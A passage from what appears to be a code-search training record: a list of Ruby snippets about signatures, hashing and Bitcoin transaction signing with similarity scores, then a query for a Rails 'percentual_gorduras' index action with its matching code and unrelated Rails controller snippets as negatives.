mentioned in Unionpay's official docs\n raise \"sign method #{form_fields['signMethod']} is not implemented yet.\"\n end\n Base64.strict_encode64(enc) # has to be strict_encode64, not encode64, as the latter as an extra '\\n'\n .tap { |s| logger.debug \"final: #{s}\" }\n end", "def verify_signature(signature, bytes, signer_public_key)\n signature = Validation.check_filled_array_argument!(signature)\n bytes = Validation.check_filled_array_argument!(bytes)\n signer_public_key = Validation.check_type_argument!(VirgilPublicKey, signer_public_key)\n\n begin\n native_algorithm = HashAlgorithm.convert_to_native(HashAlgorithm::SHA512)\n signer = Core::VirgilSigner.new(native_algorithm)\n signer.verify(bytes, signature, signer_public_key.raw_key)\n rescue StandardError => error\n raise VirgilCryptoException, error.message\n end\n\n end", "def bin_libs(names, hash=Hash.new)\n raise \"not a hash\" unless hash.is_a?(Hash)\n check_hash(hash, [:includes, :lib_path])\n\n mapped = names.map{|n|n.to_s}\n return mapped.map{|name|bin_lib(name, hash)}\n end", "def contents_hash(paths)\n return if paths.nil?\n\n paths = paths.compact.select { |path| File.file?(path) }\n return if paths.empty?\n # rubocop:disable GitHub/InsecureHashAlgorithm\n paths.sort\n .reduce(Digest::XXHash64.new, :file)\n .digest\n .to_s(16) # convert to hex\n # rubocop:enable GitHub/InsecureHashAlgorithm\n end", "def get_trusted_keys\n return [] unless File.file?(@trust_path)\n\n # no signature verification\n File.open(@trust_path, 'r').readlines.map(&:chomp).uniq.sort\nend", "def verify_signature signature, data, chain, time = Time.now\n Gem.ensure_ssl_available\n cert_class = OpenSSL::X509::Certificate\n exc = Gem::Security::Exception\n chain ||= []\n\n chain = chain.map{ |str| cert_class.new(str) }\n signer, ch_len = chain[-1], chain.size\n opt = Gem::Security::OPT.merge(@opt)\n\n # make sure signature is valid\n if @verify_data\n # get digest algorithm (TODO: this should be configurable)\n dgst = opt[:dgst_algo]\n\n # verify the data signature (this is the most important part, so don't\n # screw it up :D)\n v = signer.public_key.verify(dgst.new, signature, data)\n raise exc, \"Invalid Gem Signature\" unless v\n\n # make sure the signer is valid\n if @verify_signer\n # make sure the signing cert is valid right now\n v = signer.check_validity(nil, time)\n raise exc, \"Invalid Signature: #{v[:desc]}\" unless v[:is_valid]\n end\n end\n\n # make sure the certificate chain is valid\n if @verify_chain\n # iterate down over the chain and verify each certificate against it's\n # issuer\n (ch_len - 1).downto(1) do |i|\n issuer, cert = chain[i - 1, 2]\n v = cert.check_validity(issuer, time)\n raise exc, \"%s: cert = '%s', error = '%s'\" % [\n 'Invalid Signing Chain', cert.subject, v[:desc]\n ] unless v[:is_valid]\n end\n\n # verify root of chain\n if @verify_root\n # make sure root is self-signed\n root = chain[0]\n raise exc, \"%s: %s (subject = '%s', issuer = '%s')\" % [\n 'Invalid Signing Chain Root',\n 'Subject does not match Issuer for Gem Signing Chain',\n root.subject.to_s,\n root.issuer.to_s,\n ] unless root.issuer.to_s == root.subject.to_s\n\n # make sure root is valid\n v = root.check_validity(root, time)\n raise exc, \"%s: cert = '%s', error = '%s'\" % [\n 'Invalid Signing Chain Root', root.subject, v[:desc]\n ] unless v[:is_valid]\n\n # verify that the chain root is trusted\n if @only_trusted\n # get digest algorithm, calculate checksum of root.subject\n algo = opt[:dgst_algo]\n path = Gem::Security::Policy.trusted_cert_path(root, opt)\n\n # check to make sure trusted path exists\n raise exc, \"%s: cert = '%s', error = '%s'\" % [\n 'Untrusted Signing Chain Root',\n root.subject.to_s,\n \"path \\\"#{path}\\\" does not exist\",\n ] unless File.exist?(path)\n\n # load calculate digest from saved cert file\n save_cert = OpenSSL::X509::Certificate.new(File.read(path))\n save_dgst = algo.digest(save_cert.public_key.to_s)\n\n # create digest of public key\n pkey_str = root.public_key.to_s\n cert_dgst = algo.digest(pkey_str)\n\n # now compare the two digests, raise exception\n # if they don't match\n raise exc, \"%s: %s (saved = '%s', root = '%s')\" % [\n 'Invalid Signing Chain Root',\n \"Saved checksum doesn't match root checksum\",\n save_dgst, cert_dgst,\n ] unless save_dgst == cert_dgst\n end\n end\n\n # return the signing chain\n chain.map { |cert| cert.subject }\n end\n end", "def verify_signature\n #puts \"sing in params: #{@params[\"sign\"]}\" unless @params[\"sign\"] == Alipay.generate_signature(@params, @key)\n #puts Alipay.generate_signature(@params, @key)\n @params[\"sign\"] == Tenpay.generate_signature(@params, @key) #.tap{|sig| puts \"Generated sig #{sig}\"}\n end", "def valid_hashes? signature\n refs = signature.find('.//ds:Reference', DS).map{ |r| r['URI'][1..-1] }\n\n without_signature = LibXML::XML::Document.document(signature.doc)\n without_signature.find_first('//ds:Signature', DS).remove!\n # The XML digested must be canonicalized as per the W3's specification\n # at http://www.w3.org/TR/xml-c14n\n c14n = without_signature.canonicalize\n digest = Base64.encode64(Digest::SHA1.digest(c14n)).chomp\n\n refs.all? do |ref|\n hashed_element = @doc.find_first(\"//*[ID='#{ref}']\")\n digest_listed = signature.find_first('.//ds:DigestValue', DS).content\n\n digest == digest_listed\n end\n end", "def ddah_signature_list_substitutions(ddahs)\n ddahs.map do |x|\n {\n position_code: x.assignment.position.position_code,\n first_name: x.assignment.applicant.first_name,\n last_name: x.assignment.applicant.last_name,\n signature: x.signature,\n signed_date: x.accepted_date\n }\n end.sort_by do |x|\n [x[:position_code], x[:last_name], x[:first_name]]\n end.as_json.map(&:stringify_keys)\n end", "def committed_files sha\n array_output_of \"git diff-tree --no-commit-id --name-only -r #{sha}\"\nend", "def get_txs(tx_hashes)\n tx_hashes.map {|h| get_tx(h)}.compact\n end", "def signature_hash_for_input(input_idx, outpoint_tx, script_pubkey=nil, hash_type=nil, drop_sigs=nil, script=nil)\n # https://github.com/bitcoin/bitcoin/blob/e071a3f6c06f41068ad17134189a4ac3073ef76b/script.cpp#L834\n # http://code.google.com/p/bitcoinj/source/browse/trunk/src/com/google/bitcoin/core/Script.java#318\n # https://en.bitcoin.it/wiki/OP_CHECKSIG#How_it_works\n # https://github.com/bitcoin/bitcoin/blob/c2e8c8acd8ae0c94c70b59f55169841ad195bb99/src/script.cpp#L1058\n\n hash_type ||= 1 # 1: ALL, 2: NONE, 3: SINGLE\n\n pin = @in.map.with_index{|i,idx|\n if idx == input_idx\n script_pubkey ||= outpoint_tx.out[ i.prev_out_index ].pk_script\n script_pubkey = Bitcoin::Script.binary_from_string(script) if script # force this string a script\n script_pubkey = Bitcoin::Script.drop_signatures(script_pubkey, drop_sigs) if drop_sigs # array of signature to drop\n length = script_pubkey.bytesize\n [ i.prev_out, i.prev_out_index, length, script_pubkey, i.sequence || \"\\xff\\xff\\xff\\xff\" ].pack(\"a32ICa#{length}a4\")\n else\n case hash_type\n when 2\n [ i.prev_out, i.prev_out_index, 0, \"\\x00\\x00\\x00\\x00\" ].pack(\"a32ICa4\")\n else\n [ i.prev_out, i.prev_out_index, 0, i.sequence || \"\\xff\\xff\\xff\\xff\" ].pack(\"a32ICa4\")\n end\n end\n }.join\n pout = @out.map{|o|\n [ o.value, o.pk_script_length, o.pk_script ].pack(\"QCa#{o.pk_script_length}\")\n }.join\n\n case hash_type\n when 2\n pout = \"\"\n in_size, out_size = Protocol.pack_var_int(@in.size), Protocol.pack_var_int(0)\n else\n in_size, out_size = Protocol.pack_var_int(@in.size), Protocol.pack_var_int(@out.size)\n end\n buf = [[@ver].pack(\"I\"), in_size, pin, out_size, pout, [@lock_time].pack(\"I\")].join + [hash_type].pack(\"I\")\n Digest::SHA256.digest( Digest::SHA256.digest( buf ) )\n end", "def mhash2arr(mps)\n mps.map{|e|[e[0], e[1].to_p.find_all{|term,prob|prob > 0}.sort_val, e[2]]}.find_all{|mp|mp[1].size>0}\n end", "def signature_params\n params.require(:signature).permit(:sign)\n end", "def parameters_for_signature\n params = []\n params << options[:parameters].to_query if options[:parameters]\n\n unless options[:clobber_request]\n params << header_params.to_query\n params << request.query_string unless query_string_blank?\n\n if request.post? && request.content_type.to_s.downcase.start_with?(\"application/x-www-form-urlencoded\")\n params << request.raw_post\n end\n end\n\n params.\n join('&').split('&').\n reject { |s| s.match(/\\A\\s*\\z/) }.\n map { |p| p.split('=').map{|esc| CGI.unescape(esc)} }.\n reject { |kv| kv[0] == 'oauth_signature'}\n end", "def to_signature(parameters)\n parameters.map{|k,v| \"#{v}\"}.join('')\n end", "def build_signature_for(url, params)\r\n data = url + params.sort.join\r\n digest = OpenSSL::Digest.new('sha1')\r\n Base64.strict_encode64(OpenSSL::HMAC.digest(digest, ENV['TWILIO_AUTH_TOKEN'], data))\r\n end", "def build_signature_buffer(result); end", "def build_signature_buffer(result); end", "def current_signatures\n category_map = {\n pending_officer_signatures: :as_officer,\n pending_treasurer_signature: :as_treasurer,\n pending_president_signature: :as_president\n }\n\n return [] if category_map[state.to_sym].nil?\n\n signatures.where(category: Signature.categories[category_map[state.to_sym]])\n end", "def generate_signature parameters\n temp = ''\n params = parameters.sort\n params.each do |array|\n temp += array[0].to_s + array[1].to_s\n end\n signature = @api_secret + temp\n Digest::MD5.hexdigest(signature)\n end", "def gen_keys(str)\n split7(str).map{ |str7|\n bits = split7(str7.unpack(\"B*\")[0]).inject('')\\\n {|ret, tkn| ret += tkn + (tkn.gsub('1', '').size % 2).to_s }\n [bits].pack(\"B*\")\n }\n end", "def get_fb_sig_params(originalParams)\n\n # setup\n timeout = 5.years#2.hours #3.seconds #48*3600\n namespace = \"fb_sig\"\n prefix = \"#{namespace}_\"\n # get the params prefixed by \"fb_sig_\" (and remove the prefix)\n sigParams = {}\n originalParams.each do |k,v|\n oldLen = k.length\n newK = k.sub(prefix, \"\") \n if oldLen != newK.length \n sigParams[newK] = v\n end\n end\n # handle invalidation\n if (timeout and (sigParams[\"time\"].nil? or (Time.now.to_i - sigParams[\"time\"].to_i > timeout.to_i)))\n # invalidate if the timeout has been reached\n sigParams = {}\n end\n \n if !sig_params_valid?(sigParams, originalParams[namespace])\n # invalidate if the signatures don't match\n sigParams = {}\n end\n \n return sigParams\n \n end", "def get_signature_requests(opts={})\n path = '/signature_request/list'\n opts[:query] = create_search_string(opts[:query]) if opts[:query]\n query = create_query_string(opts, [:page, :page_size, :query])\n path += query\n HelloSign::Resource::ResourceArray.new get(path, opts), 'signature_requests', HelloSign::Resource::SignatureRequest\n end", "def scan_tx(client, tx)\n findings = []\n\n # Ignore miner data (less interesting).\n return [] if tx['vin'][0]['coinbase']\n\n outputs = tx['vout']\n # multisig, pubkeyhash, nulldata, nil\n outputs_by_type = outputs.group_by { |output| output['scriptPubKey']['type'] }\n outputs_by_type.keys.each {|type|\n # TODO: If vout.spentTxId, probably not data\n have_length_and_cksum, mime, filedata, filesize = scan_output_group(client, outputs_by_type[type])\n if mime\n if not whitelisted_mime?(mime) and not mime.start_with?('text/') and filedata.length > 40\n total = outputs_by_type[type].length\n spent = outputs_by_type[type].select{ |output| output.include?('spentTxId') }.length\n unspent = total - spent\n if unspent > spent\n puts ''\n puts \"#{tx['txid']} ******* Potentially interesting ******* #{mime}\"\n puts ''\n end\n end\n if filedata.length < filesize\n nexttx = tx\n while filedata.length < filesize\n nexttx = find_next_tx(client, nexttx)\n outputs = nexttx['vout']\n outputs_by_type = outputs.group_by { |output| output['scriptPubKey']['type'] }\n\n data = vouts_to_data(outputs_by_type[type])\n length, cksum = get_length_and_cksum(data)\n next_have_length_and_cksum = (length != nil)\n if next_have_length_and_cksum != have_length_and_cksum\n $stderr.puts '******* Length and cksum mismatch on multi-tx file ********'\n next\n end\n next_filedata = have_length_and_cksum ? data.byteslice(8, length) : data.byteslice(0..-1)\n filedata += next_filedata\n end\n end\n if filesize > 0\n skipto = 20 * (filesize / 20 + 1)\n if skipto < filedata.length\n leftoverdata = filedata.byteslice(skipto..-1)\n if Digest::RMD160.digest(filedata.byteslice(0, filesize)) == leftoverdata.byteslice(0, 160/8)\n # cryptograffiti\n skipto = 20 * (filesize / 20 + 2)\n if (skipto + 40) < filedata.length\n leftoverdata = leftoverdata.byteslice(20..-1)\n endidx = leftoverdata.index(\"\\x00\")\n endidx = (endidx - 1) if endidx != nil\n endidx = (leftoverdata.length - 40 - 1) if endidx == nil\n text = leftoverdata.byteslice(0..endidx).force_encoding('utf-8')\n if not text.valid_encoding?\n puts \"#{tx['txid']} Invalid encoding, skipping\"\n next\n end\n end\n end\n end\n filedata = filedata.byteslice(0, filesize)\n end\n if whitelisted_mime?(mime)\n if not text and text_mime?(mime)\n mime = nil\n endidx = filedata.index(\"\\x00\")\n endidx = (endidx - 1) if endidx != nil\n endidx = -1 if endidx == nil\n text = filedata.byteslice(0..endidx).force_encoding('utf-8')\n if not text.valid_encoding?\n puts \"#{tx['txid']} Invalid encoding, skipping\"\n next\n end\n next if has_ignored_prefix?(text)\n filedata = nil\n end\n findings += [\n {\n tx: tx['txid'],\n file_mime: mime,\n file_data: filedata,\n file_ext: file_extension(filedata, mime),\n text: text,\n time: tx['time']\n }\n ]\n # We found what we wanted in this tx\n return findings\n end\n end\n }\n findings\nend", "def test_to_bytes\n vote = {\n type: :vote,\n voter: 'xeroc',\n author: 'xeroc',\n permlink: 'piston',\n weight: 10000,\n extensions: [],\n }\n \n @transaction.operations << vote\n refute_nil bytes = @transaction.send(:to_bytes)\n hex = hexlify(bytes)\n \n # Here, we're going to take apart our contrived serialization so we can\n # verify each substring individually.\n \n chain_id = hex[0..63]\n ref_block_num = hex[64..67]\n ref_block_prefix = hex[68..75]\n exp = hex[76..83]\n op_len = hex[84..85]\n op_id = hex[86..87]\n voter = hex[88..99]\n author = hex[100..111]\n permlink = hex[112..125]\n weight = hex[126..129]\n extensions = hex[130..131]\n \n hex_segments = {\n chain_id: chain_id, ref_block_num: ref_block_num,\n ref_block_prefix: ref_block_prefix, exp: exp, op_len: op_len,\n op_id: op_id, voter: voter, author: author, permlink: permlink,\n weight: weight, extensions: extensions\n }\n \n # This example serialization was documented by xeroc:\n # https://steemit.com/steem/@xeroc/steem-transaction-signing-in-a-nutshell\n example_hex = 'bd8c5fe26f45f179a8570100057865726f63057865726f6306706973746f6e102'\n assert hex.include?(example_hex), 'expect example_hex in our result'\n \n # Later correction by xeroc:\n # https://steemit.com/steem/@xeroc/steem-transaction-signing-in-a-nutshell#@xeroc/re-steem-transaction-signing-in-a-nutshell-20160901t151404\n example_hex2 = 'bd8c5fe26f45f179a8570100057865726f63057865726f6306706973746f6e102700'\n assert hex.include?(example_hex2), 'expect example_hex2 in our result'\n \n # The only thing that should remain if we remove the second example is the\n # chain_id.\n remaining_hex = hex.gsub example_hex2, ''\n assert_equal Radiator::ChainConfig::NETWORKS_HIVE_CHAIN_ID,\n remaining_hex, 'expect nothing but the chain_id'\n \n # Here, we're going to take apart our contrived serialization so we can\n # verify each substring.\n \n assert_equal Radiator::ChainConfig::NETWORKS_HIVE_CHAIN_ID,\n hex_segments[:chain_id], 'expect chain_id'\n assert_equal 'bd8c', hex_segments[:ref_block_num], 'expect ref_block_num'\n assert_equal '5fe26f45', hex_segments[:ref_block_prefix], 'expect ref_block_prefix'\n assert_equal 'f179a857', hex_segments[:exp], 'expect exp'\n assert_equal '01', hex_segments[:op_len], 'expect op_len'\n assert_equal '00', hex_segments[:op_id], 'expect op_id'\n assert_equal '057865726f63', hex_segments[:voter], 'expect voter'\n assert_equal '057865726f63', hex_segments[:author], 'expect author'\n assert_equal '06706973746f6e', hex_segments[:permlink], 'expect permlink'\n assert_equal '1027', hex_segments[:weight], 'expect weight'\n assert_equal '00', hex_segments[:extensions], 'expect extensions'\n assert_equal hex, hex_segments.values.join\n end", "def bin_libs(*names)\n res = []\n mapped = names.map{|n|n.to_s}\n mapped.each do |name|\n res << BinaryLibrary.new(name)\n end\n mapped\n end", "def parse_signed_payload\n signed_payload = params[:signed_payload]\n message_parts = signed_payload.split('.')\n\n encoded_json_payload = message_parts[0]\n encoded_hmac_signature = message_parts[1]\n\n payload = Base64.decode64(encoded_json_payload)\n provided_signature = Base64.decode64(encoded_hmac_signature)\n\n expected_signature = sign_payload(bc_client_secret, payload)\n\n if secure_compare(expected_signature, provided_signature)\n return JSON.parse(payload, symbolize_names: true)\n end\n\n nil\nend", "def signature\n EPDQ::ShaCalculator.new(full_parameters, EPDQ.sha_in, EPDQ.sha_type).signature\n end", "def api_sig(params)\n sigstr = @shared_secret\n params.keys.sort { |x, y| x.to_s <=> y.to_s }.each do |k|\n sigstr += k.to_s\n sigstr += params[k].to_s\n end\n Digest::MD5.hexdigest(sigstr)\n end", "def encode_signature(algo, signature)\n encode_string(algo) + encode_string(signature)\n end", "def compact_signature(hash)\n raise BTCError, \"Not implemented\"\n end", "def get_signatures(limit = 100, offset = 0, conditions = {})\n params = extract_query_params conditions\n\n params['limit'] = limit\n params['offset'] = offset\n\n request :get, \"/v3/signatures.json\", params\n end", "def node_hash_for(node, statements, hashes)\n statement_signatures = []\n grounded = true\n statements.each do | statement |\n if statement.to_quad.include?(node)\n statement_signatures << hash_string_for(statement, hashes, node)\n statement.to_quad.compact.each do | resource |\n grounded = false unless grounded?(resource, hashes) || resource == node\n end\n end\n end\n # Note that we sort the signatures--without a canonical ordering, \n # we might get different hashes for equivalent nodes.\n [grounded,Digest::SHA1.hexdigest(statement_signatures.sort.to_s)]\n end", "def decode_signature(raw, offset=0)\n total_read = 0\n\n algo, read = decode_string(raw, offset + total_read)\n total_read += read\n\n sig, read = decode_string(raw, offset + total_read)\n total_read += read\n\n [algo, sig, total_read]\n end", "def transactions\n\t\treturn MessagePack.unpack( self.payload ).map {|tr| tr.transform_keys(&:to_sym) }\n\tend", "def create_signatures(request)\n data, _status_code, _headers = create_signatures_with_http_info(request)\n data\n end", "def sort_by_encoding_index(files)\n files.sort_by do |file|\n token_pairs = file.scan(/(\\D+)|(\\d+)/)\n\n sort_key = token_pairs.map do |letters, digits|\n if letters\n letters\n else\n padded_numeric_sort_key(digits)\n end\n end\n\n sort_key.flatten\n end\nend", "def ecdsa_signature(hash, normalized: true)\n BTC::OpenSSL.ecdsa_signature(hash, @private_key, normalized: normalized)\n end", "def signatures\n attributes.fetch(:signatures)\n end", "def makehash(body)\n signer = SSH::Key::Signer.new\n if @config.pluginconf[\"sshkey\"]\n signer.add_key_file(@config.pluginconf[\"sshkey\"])\n signer.use_agent = false\n end\n signatures = signer.sign(body).collect { |s| s.signature }\n return Marshal.dump(signatures)\n end", "def hmac_signature_with_openssl(key, base64_json)\n base64(OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), key, base64_json))\n end", "def updated_signatures\n\t\tsignatures = {}\n\n\t\texecute_xpath('//dss:UpdatedSignature').each do |updated_signature|\n\t\t\tform = updated_signature.attributes['Type']\n\t\t\tform =:default if form.nil? #signature updated by the default service policy currently an ES-C\n\t\t\tsignatures[form] = REXML::Document.new(updated_signature.children[0].children[0].to_s)\n\t\tend\n\n\t\treturn signatures\n\tend", "def sign_tx(raw_tx, pkey_wif)\n # Seems like this is your quintessential reference: \n # http://www.righto.com/2014/02/bitcoins-hard-way-using-raw-bitcoin.html\n\n # I think this is the right way to do it...\n Bitcoin.network = (bitcoin.is_testing?) ? :testnet3 : :bitcoin\n\n # This parses the binary-encoded raw transaction:\n tx = Bitcoin::P::Tx.new [raw_tx].pack('H*')\n\n # This is the input transaction, which we'll need for signining:\n prev_hash = tx.in[0].prev_out.reverse_hth\n\n # let's parse the keys:\n key = Bitcoin::Key.from_base58 pkey_wif\n\n pubkey = [key.pub].pack('H*')\n\n # And parse the input transaction:\n prev_tx = Bitcoin::P::Tx.new [bitcoin.getrawtransaction(prev_hash)].pack('H*')\n\n # And, now we're ready to sign: \n subscript = tx.signature_hash_for_input 0, prev_tx\n sig = Bitcoin.sign_data Bitcoin.open_key(key.priv), subscript\n tx.in[0].script_sig = Bitcoin::Script.to_signature_pubkey_script sig, pubkey \n\n tx.to_payload.unpack('H*')[0]\n end", "def calculate_hash(apikey, apisecret, timestamp, parameters)\n # gather values included in hash, sort them alphabetically\n\tsig_params = Hash.new\n\tsig_params[:apikey] = apikey\n\tsig_params[:apisecret] = apisecret\n\tsig_params[:ts] = timestamp\n\t\n\t# stringify the values to be hashed - e.g. key1=value1&key2=value2&key3=value3\n\tstring_to_hash = ''\n\tsig_params.sort.map do |key,value|\n\t string_to_hash = string_to_hash + key.to_s + \"=\" + value.to_s + \"&\"\n\tend\n\tstring_to_hash = string_to_hash.chomp('&') # Ensuring that the last '&' is removed.\n\t\n\t# compute the SHA256 hash and return as a string\n\tDigest::SHA256.hexdigest(string_to_hash).to_s\nend", "def build_signature\n sig = case signature_method\n when \"HMAC-SHA1\"\n Base64.encode64(HMAC::SHA1.digest(signature_secret, signature_base_string)).chomp.gsub(/\\n/,'')\n when \"HMAC-MD5\"\n Base64.encode64(HMAC::MD5.digest(signature_secret, signature_base_string)).chomp.gsub(/\\n/,'')\n else\n false\n end\n Merb::Parse.escape(sig)\n end", "def generate_signature\n digest = OpenSSL::Digest.new('sha256')\n string_to_sign = \"#{@url_path}?#{sorted_parameters_query}\"\n OpenSSL::HMAC.hexdigest(digest, @api_secret_d, string_to_sign)\n end", "def add_signatures\n if @data_signature then\n @tar_writer.add_file 'data.tar.gz.sig', 0644 do |io|\n io.write @data_signature\n end\n end\n\n if @meta_signature then\n @tar_writer.add_file 'metadata.gz.sig', 0644 do |io|\n io.write @meta_signature\n end\n end\n end", "def signstuff(revision, data, pkeypath)\n pkey = OpenSSL::PKey::EC.new File.read pkeypath\n\n revm = revision.match(/([0-9]+)-.+/)\n oldrev = revm[1]\n newrev = oldrev.to_i + 1\n\n signature = Base64.encode64(pkey.dsa_sign_asn1(newrev.to_s+data))\nend", "def signrawtransaction(hexstring, transaction = nil, privatekey =nil, sighashtype = \"ALL\")\n @api.request 'signrawtransaction', hexstring, transaction, privatekey, sighashtype\n end", "def q3_read_to_array(data_file_name)\r\n orders = []\r\n \r\n h = q3_read_to_hash(data_file_name)\r\n h.each_pair { |k,v| orders << v }\r\n \r\n return orders\r\nend", "def ptn(a)\n if a.size == 1 then\n return [a]\n end\n ret = Array.new\n # 重ならないパターン\n ret += a.perms\n # 重なるパターン\n h1 = Hash.new\n for i in 0..a.size - 1\n for j in i + 1..a.size - 1\n key = [a[i], 0, a[j]].to_s\n if !h1.key?(key) then\n h1.store(key, nil)\n h2 = Hash.new\n # a[i]とa[j]を範囲をずらしながら重ねる\n for k in 0..a[i].size + a[j].size\n t = [0] * a[j].size + a[i] + [0] * a[j].size\n for m in 0..a[j].size - 1\n t[k + m] += a[j][m]\n end\n # 余分な0を取り除く\n t.delete(0)\n # 4より大きい値がないかチェック\n next if t.any? {|v| v > 4}\n # 9より長くないかチェック\n next if t.size > 9\n # 重複チェック\n if !h2.key?(t.to_s) then\n h2.store(t.to_s, nil)\n # 残り\n t2 = a.dup\n t2.delete_at(i)\n t2.delete_at(j - 1)\n # 再帰呼び出し\n ret += ptn([t] + t2)\n end\n end\n end\n end\n end\n return ret\nend", "def authentication_requests(key_handles)\n key_handles = [key_handles] unless key_handles.is_a? Array\n key_handles.map do |key_handle|\n SignRequest.new(key_handle)\n end\n end", "def convert_hash_body_to_array_of_arrays\n arrays = []\n request.body.keys.each do | key |\n [*request.body[key]].each do | value |\n arrays << [key, value]\n end\n end\n\n Pact::Reification.from_term(arrays)\n end", "def root_keys; <<~EOS\n . IN DS 19036 8 2 49aac11d7b6f6446702e54a1607371607a1a41855200fd2ce1cdde32f24e8fb5\n . IN DS 20326 8 2 e06d44b80b8f1d39a95c0b0d7c65d08458e880409bbc683457104237c7f8ec8d\n EOS\n end", "def signature_fields\n parsed {\n @signature_fields\n }\n end", "def parse_public_keys\n # Convert keys to compressed_hex format for bitcoin-ruby\n @public_keys_hex = @cosigners_nodes.map { |index, key| key.public_key.to_hex }\n end", "def verify_signatures?; end", "def generate_request_signature(components)\n string_to_sign = components.join(\"\\n\")\n\n digest = OpenSSL::Digest.new('sha1')\n Base64.encode64(OpenSSL::HMAC.digest(digest, @configuration.secret_key, string_to_sign))\n end", "def generate_request_signature(components)\n string_to_sign = components.join(\"\\n\")\n\n digest = OpenSSL::Digest.new('sha1')\n Base64.encode64(OpenSSL::HMAC.digest(digest, @configuration.secret_key, string_to_sign))\n end", "def signature\n @signature ||= Base64.encode64(digest).gsub(\"\\n\", '')\n end" ]
[ "0.65369296", "0.60533875", "0.56763816", "0.5333135", "0.51653075", "0.51449525", "0.51133287", "0.5111311", "0.5094485", "0.5030817", "0.5017331", "0.500569", "0.5000744", "0.4992892", "0.49517483", "0.49517483", "0.49464738", "0.4941667", "0.4897451", "0.48931602", "0.48899537", "0.48690367", "0.4861983", "0.48598167", "0.4850074", "0.4834335", "0.48286852", "0.48264882", "0.48050752", "0.47992712", "0.47914952", "0.47914723", "0.47690734", "0.47437087", "0.47437087", "0.47334093", "0.4720974", "0.47082996", "0.47073478", "0.47002783", "0.46911958", "0.46815294", "0.46775487", "0.4646308", "0.46447867", "0.46380433", "0.46283486", "0.4624521", "0.46217436", "0.46201527", "0.46181813", "0.4617887", "0.46081808", "0.4603241", "0.46016455", "0.45919162", "0.45883185", "0.45883185", "0.45678145", "0.45643628", "0.4562747", "0.45614028", "0.45589626", "0.4557474", "0.45520777", "0.45519242", "0.4548789", "0.45413572", "0.4538364", "0.45179167", "0.4512832", "0.4512179", "0.45101225", "0.45061985", "0.449818", "0.44968566", "0.4493635", "0.44933596", "0.44886136", "0.44820553", "0.44794914", "0.44779927", "0.44774362", "0.4474551", "0.44715807", "0.44680628", "0.44597316", "0.44560492", "0.44507813", "0.44428638", "0.44356886", "0.44329137", "0.4417188", "0.44088024", "0.4398767", "0.43846", "0.43785667", "0.43731168", "0.43731168", "0.43688905" ]
0.6638893
0
GET /percentual_gorduras GET /percentual_gorduras.json
def index @percentual_gorduras = PercentualGordura.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def percentual_gordura_params\n params.require(:percentual_gordura).permit(:triceps, :supra_f, :supra_m, :abdomen, :coxa, :subescapular, :aluno_id)\n end", "def index\n @ultimo_grado_de_estudios = UltimoGradoDeEstudio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ultimo_grado_de_estudios }\n end\n end", "def set_percentual_gordura\n @percentual_gordura = PercentualGordura.find(params[:id])\n end", "def gabarra\n respond_to do |format|\n begin\n @gabarra = DescargaBauxita.descargar(params)\n format.json { render :json => @gabarra }\n rescue Exceptions::PresenciaValoresExcepcion => errores\n format.json { render :json => errores.errors, :status => 400 }\n end\n end\n end", "def index\n @pagamentos = Pagamento.page(params[:page]).per(NUMERO_POR_PAGINA)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pagamentos }\n end\n end", "def index\n @tipo_denuncia = TipoDenuncium.all\n\n render json: @tipo_denuncia\n end", "def index\n @denuncia = Denuncium.all\n\n render json: @denuncia\n end", "def index\n order = sortable_column_order, \"gage_number desc\"\n @gages = Gage.paginate page: params[:page], order: order, per_page: 50\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gages }\n end\n end", "def index\n @factura = Factura.find(params[:factura_id])\n @renglon_facturas = @factura.renglon_facturas\n\n respond_to do |format|\n format.html # index.html.erb\n #format.json { render json: @renglon_facturas }\n end\n end", "def index\n @level_progrations = LevelProgration.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @level_progrations }\n end\n end", "def index\n @klasses = Klass.paginate(:page => params[:page], per_page: 30)\n @number = Klass.count\n\n respond_to do |format|\n format.html\n format.json { render :json => Klass.all.to_json(include: :period) }\n end\n end", "def percentage_abd\r\n\t\t\t\tall_survivors = Survivor.count()\r\n\t\t\t\tabd_survivors = Survivor.where(abducted: true).count\r\n\t\t\t\tpercentage = (abd_survivors.to_f/all_survivors.to_f) * 100\r\n\t\t\t\trender json: {status: 'SUCCESS', message:'Porcentagem de sobreviventes Abduzidos', percentage:percentage},status: :ok\r\n\t\t\tend", "def index\n @pagamentos = Pagamento.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pagamentos }\n end\n end", "def index\n @propuestas = Propuesta.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @propuestas }\n end\n end", "def massaCorporalGorda(percentualDeGordura, peso)\n resultado = (peso*percentualDeGordura)/100\nend", "def get_grasas\n \"#{@grasas}%\" \n end", "def index\n @puntajes = Puntaje.paginate(:page => params[:page], :per_page => 10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @puntajes }\n end\n end", "def json_percent_differential(game)\n\t\tpercent_diff_map = {}\n\t\tgore = Candidate.find_by_name(\"Gore\")\n\t\tbush = Candidate.find_by_name(\"Bush\")\n\t\tpercent_diff_map['red_states'] = State.margin_map(bush)\n\t\tpercent_diff_map['blue_states'] = State.margin_map(gore)\n\n\t\tpercent_diff_map.to_json.html_safe\n\tend", "def index\n \treclamos = Reclamo.all\n \trender json: reclamos.to_json(include: [:tipo_reclamo, :ubicacion, :user], methods: [:valoracion])\n end", "def index\n @distros = getmydata(\"Distro\")\n pagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @distros }\n end\n end", "def index\n @pledges = Pledge.where('user_id = ?', current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pledges }\n end\n end", "def index\n @grupoassuntos = Grupoassunto.all\n\n render json: @grupoassuntos\n end", "def create\n @percentual_gordura = PercentualGordura.new(percentual_gordura_params)\n\n respond_to do |format|\n if @percentual_gordura.save\n format.html { redirect_to @percentual_gordura, notice: 'Percentual gordura was successfully created.' }\n format.json { render action: 'show', status: :created, location: @percentual_gordura }\n else\n format.html { render action: 'new' }\n format.json { render json: @percentual_gordura.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @cooperativas = Cooperativa.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json 